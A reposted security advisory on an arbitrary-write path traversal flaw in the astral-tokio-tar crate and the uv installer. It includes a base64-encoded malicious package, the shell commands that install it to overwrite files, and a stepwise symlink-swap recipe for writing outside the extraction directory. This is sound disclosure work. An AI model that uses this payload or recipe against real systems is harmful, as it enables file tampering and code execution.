"Astral-tokio-tar" / "uv" Arbitrary Write Path Traversal Vulnerability
Summary"astral-tokio-tar", a Rust crate used by the popular tool "uv", has a vulnerability tha 2025-11-17 23:59:4 Author: github.com(查看原文) 阅读量:7 收藏

Summary

"astral-tokio-tar", a Rust crate used by the popular tool "uv", has a vulnerability that allows arbitrary file writes when unpacking tar files. In "uv" this vulnerability allows a Python source distribution to write anywhere during extraction.

This vulnerability is primarily due to astral-tokio-tar's support of symlinks and the "memoized set" behavior that skips path validation on previously observed and validated paths.

Since a symlink can point to a directory, and can be changed by having multiple entries in the tar file, it is possible to create a symlink to a benign directory under the destination path, have it validated, added to the memoized set, and then change the symlink to another arbitrary directory anywhere on disk.

Additionally a symlink that points to an arbitrary directory and bypasses any validation can be created by using two symlinks, where the first symlink created depends on the second symlink to bypass validation.

This vulnerability allows an attacker to generate tar files that can create or change arbitrary files on the filesystem.

Severity

Medium - Due to the potential for arbitrary code execution.

Proof of Concept

mkdir /tmp/flag
$ echo "hello" > /tmp/flag/flag
$ ls /tmp/flag
flag
$ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK81Gi6SBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z431/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz

$ mkdir test
$ cd test
$ uv venv env
$ . env/bin/activate
$ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/)
Using Python 3.12.3 environment at: env
Resolved 1 package in 5ms
      Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz
Prepared 1 package in 474ms
Installed 1 package in 0.95ms
 + dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz)

$ ls /tmp/flag
flag  newfile
$ cat /tmp/flag/flag
overwrite
$ cat /tmp/flag/newfile
newfile!

Further Analysis

Root Cause

Parent Memorization

The "astral-tokio-tar" method Entry.unpack_in_raw() was added to the library in v0.5.0 to allow a memoized set to be passed in as an argument, to improve the performance of filesystem operations.

In "uv", the method untar_in() in uv-extract creates a memoized set and uses the same set while extracting every entry in a tar file with Entry.unpack_in_raw().

The memoized set is used in EntryFields.unpack_in() with the following logic:

        // Validate the parent, if we haven't seen it yet.
        if !memo.contains(parent) {
            self.ensure_dir_created(dst, parent).await.map_err(|e| {
                TarError::new(format!("failed to create `{}`", parent.display()), e)
            })?;
            self.validate_inside_dst(dst, parent).await?;
            memo.insert(parent.to_path_buf());
        }

In this context parent is the parent directory for the entry currently being extracted. So, if file_dst is "path/to/file.txt" then parent would be "path/to".

The call to self.validate_inside_dst(dst, parent) is only made if parent is not yet in memo.

We can use a symlink to change the effective parent, after it has been added to memo.

Symlinks allow other paths to be referred to indirectly using a file-like object. This means that a path, using a symlink can have a parent that passes the validation, populating parent in memo.

The symlink can then be replaced with another symlink, and since the name of the symlink has not changed, the check is now skipped.

Symlink Check Bypass

astral-tokio-tar has a check guarded by the allow_external_symlinks flag that attempts to ensure that symlinks do not point outside the destination directory dst. However, this check can also be bypassed by creating the two symlinks below in order:

  1. "ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp"

    1. This path passes the symlink check as it evaluates "tmp", under the destination directory.
  2. "noop" -> "."
    2. This path also passes the symlink check as it evaluates to the destination directory.

After they have both been created "ptr" now effectively points to "./../../../../../../../../../tmp", which is likely outside the destination directory.

Putting it Together

The following tar entries can now be used for arbitrary writes:

  1. Directory "decoy".
    1. The directory "{dst}/decoy" is created.
  2. Symlink "ptr" -> "decoy".
    2. The symlink "{dst}/ptr" is created.
  3. Empty file "ptr/dummy".
    3. The file "{dst}/ptr/dummy" is extracted (i.e "{dst}/decoy/dummy").
    3. This write also causes "{dst}/ptr" to be inserted into memo.
  4. Symlink "ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp".
    4. The symlink "{dst}/ptr" is replaced.
  5. Symlink "noop" -> ".".
    5. The symlink "{dst}/noop" is created.
    5. "ptr" now points to "{dst}/./../../../../../../../../../tmp".
  6. Malicious payload file "ptr/payload".
    6. The file "{dst}/ptr/payload" is extracted (i.e. "/tmp/payload").
    6. Validation on "{dst}/ptr" is skipped as it has already been added to memo.

GHSA-7j9j-68r2-f35q
GHSA-3wgq-wrwc-vqmv

Timeline

Date reported: 08/11/2025
Date fixed: 09/23/2025
Date disclosed: 11/17/2025


文章来源: https://github.com/google/security-research/security/advisories/GHSA-9p78-p5g6-gcj8
如有侵权请联系:admin#unsafe.sh